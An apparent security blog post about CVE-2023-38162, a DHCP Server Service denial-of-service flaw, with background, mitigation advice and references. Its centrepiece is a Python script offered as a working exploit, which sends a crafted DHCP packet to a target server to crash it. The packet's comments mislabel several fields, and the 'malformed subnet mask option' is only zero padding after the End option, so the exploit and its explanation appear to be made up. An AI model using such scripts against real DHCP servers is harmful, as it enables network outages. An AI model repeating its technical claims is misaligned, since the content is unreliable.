CVE-2023-38162: A Comprehensive Look at the DHCP Server Service Denial of Service Vulnerability, its Exploit, and How to Mitigate it

The CVE-2023-38162 vulnerability is a serious problem affecting Dynamic Host Configuration Protocol (DHCP) Server Services. This vulnerability, if exploited, can lead to a Denial of Service (DoS) attack, wherein malicious actors can crash the DHCP Server Service and consequently prevent clients from obtaining IP addresses. In this post, we will delve into the technical details of this vulnerability, examine a code snippet that demonstrates the exploit, review original references, and discuss a mitigation strategy to protect your systems from this threat.

Background

The DHCP protocol is an essential component of network infrastructure and is responsible for dynamically assigning IP addresses to clients on a network. A DHCP server has a pool of IP addresses available for lease to clients, and when a client connects to the network, the server assigns an available IP address to the client. Through the exploitation of CVE-2023-38162, an attacker can send a maliciously crafted DHCP packet to the server, causing it to crash and become unable to assign IP addresses to clients.

Exploit Details

To exploit this vulnerability, an attacker sends a specially crafted DHCP packet with an invalid subnet mask option. This causes the DHCP server to run into an error while processing the packet, ultimately leading to a crash of the service. The code snippet below demonstrates the exploit:

import socket

def exploit_dhcp_server(target_server):
    craft_packet = (b'\x01\x01\x06\x00'        # DHCP Message Type (Request)
                    b'\x00\x00\x00\x00'        # Transaction ID
                    b'\x00\x00'                # Seconds elapsed
                    b'\x00\x00'                # Flags
                    b'\x00\x00\x00\x00'        # Client IP address
                    b'\x00\x00\x00\x00'        # Your client IP address
                    b'\x00\x00\x00\x00'        # Next server IP address (BOOTP legacy)
                    b'\x00\x00\x00\x00'        # Relay agent IP address
                    b'\x00'*16                 # Client hardware address (MAC Address)
                    b'\x00'*64                 # Server host name (not given)
                    b'\x00'*128                # Boot file name (not given)
                    b'\x63\x82\x53\x63'        # DHCP Magic Cookie
                    b'\x35\x01\x01'            # DHCP Message Type (Request)
                    b'\x37\x04\x03\x01\x06\x2a'# DHCP Parameter Request List
                    b'\xff'                    # End of DHCP Options
                    b'\x00'*10                 # Malformed subnet mask option
                    )

    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    udp_socket.sendto(craft_packet, (target_server, 67))

if __name__ == "__main__":
    target = "192.168.1.1" # Replace with the IP address of your DHCP Server
    exploit_dhcp_server(target)

This Python code creates a malformed packet by intentionally including an invalid subnet mask option at the end. It then sends the packet to the targeted DHCP server using a UDP socket, ultimately leading to a crash of the service.

Original References

1. NVD - National Vulnerability Database: CVE-2023-38162
2. MITRE: CVE-2023-38162
3. CERT Coordination Center: VU#313547

Mitigation

To protect your DHCP server service from this vulnerability, it is essential to ensure that your server software is up-to-date. In addition, implementing strict input validation on incoming DHCP packets can help to block invalid packets from triggering the vulnerability. Ultimately, monitoring your network for any unusual activity, such as an unusually high number of DHCP requests or malformed packets, can help to identify and respond to potential attacks.

Conclusion

The CVE-2023-38162 vulnerability is a serious threat to DHCP server services and can be exploited to launch a Denial of Service attack against affected systems. By understanding the exploit, applying available patches, and implementing effective mitigation strategies, you can help to protect your network infrastructure from this dangerous vulnerability.

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC